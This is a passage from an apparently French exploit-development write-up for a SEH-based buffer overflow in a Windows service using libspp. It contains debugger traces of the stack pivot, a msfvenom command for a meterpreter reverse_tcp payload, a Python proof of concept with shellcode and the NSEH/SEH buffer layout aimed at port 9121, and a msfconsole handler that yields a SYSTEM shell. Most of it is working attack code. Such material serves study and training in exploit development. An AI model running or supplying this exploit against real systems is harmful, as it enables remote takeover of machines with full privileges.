eip=1015a2f0 esp=01c9f438 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16460:
1015a2f0 58              pop     eax
0:009> t
eax=77853b02 ebx=00000000 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f1 esp=01c9f43c ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16461:
1015a2f1 5b              pop     ebx
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=1015a2f2 esp=01c9f440 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
libspp!pcre_exec+0x16462:
1015a2f2 c3              ret
#
# SHORT JUMP
#
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff54 esp=01c9f444 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c9ff54 90              nop
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff55 esp=01c9f444 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c9ff55 90              nop
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff56 esp=01c9f444 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c9ff56 eb06            jmp     01c9ff5e
#
# INCREMENTATION DE ESP
#
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff5e esp=01c9f444 ebp=01c9f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
01c9ff5e 6681c43008      add     sp,830h
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9ff63 esp=01c9fc74 ebp=01c9f458 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
01c9ff63 ffe4            jmp     esp {01c9fc74}
#
# SHELLCODE
#
0:009> dd @esp L4
01c9fc74  90909090 90909090 43434343 43434343
0:009> t
eax=77853b02 ebx=01c9f540 ecx=1015a2f0 edx=77853b20 esi=00000000 edi=00000000
eip=01c9fc74 esp=01c9fc74 ebp=01c9f458 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
01c9fc74 90              nop

Visualisation équivalente des instructions assembleur mais depuis la fenêtre Disassembly :

01c9ff54 90              nop
01c9ff55 90              nop
01c9ff56 eb06            jmp     01c9ff5e                       # Permet de jump par dessus `lock mov byte ptr ds:[90901015h],al`
01c9ff58 f0a215109090    lock mov byte ptr ds:[90901015h],al
01c9ff5e 6681c43008      add     sp,830h                        # jump ici pour continuer l'exécution
01c9ff63 ffe4            jmp     esp

On a maintenant l'espace suffisant pour stocker un payload et les moyens pour s'y rendre.

Obtenir un shell

Génération du reverse shell en utilisant msfvenom :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00\x02\x0A\x0D\xF8\xFD" -f python -v shellcode

Modification du PoC en conséquence :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  shellcode = b"\x90" * 20
  shellcode += b""
  shellcode += b"\xdb\xc7\xd9\x74\x24\xf4\x5f\xbd\x04\x1f\xda"
  shellcode += b"\x81\x2b\xc9\xb1\x59\x83\xc7\x04\x31\x6f\x15"
[...]
  shellcode += b"\x63\xcc\xae\xfc\x94\x2d\x4f\x15\xf1\x2e\x4f"
  shellcode += b"\x19\x07\x13\x99\x20\x7d\x52\x19\x17\x8e\xe1"
  shellcode += b"\x3c\x3e\x05\x09\x12\x40\x0c"
  shellcode += b"\x43" * (400 - len(shellcode))

  inputBuffer = b"\x41" * 124
  inputBuffer += pack("<L",(0x06eb9090))             # (NSEH)
  inputBuffer += pack("<L", (0x1015a2f0))            # (SEH)  P/P/R
  inputBuffer += b"\x90" * 2
  inputBuffer += b"\x66\x81\xc4\x30\x08"             # ADD SP,0x830
  inputBuffer += b"\xff\xe4"                         # JMP ESP
  inputBuffer += b"\x90" * (size - len(inputBuffer) - len(shellcode))
  inputBuffer += shellcode

[...]

Exécution de l'exploit et récupération d'un reverse shell :

$ sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST <IP> ; set LPORT <PORT>" 
[...]

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Référence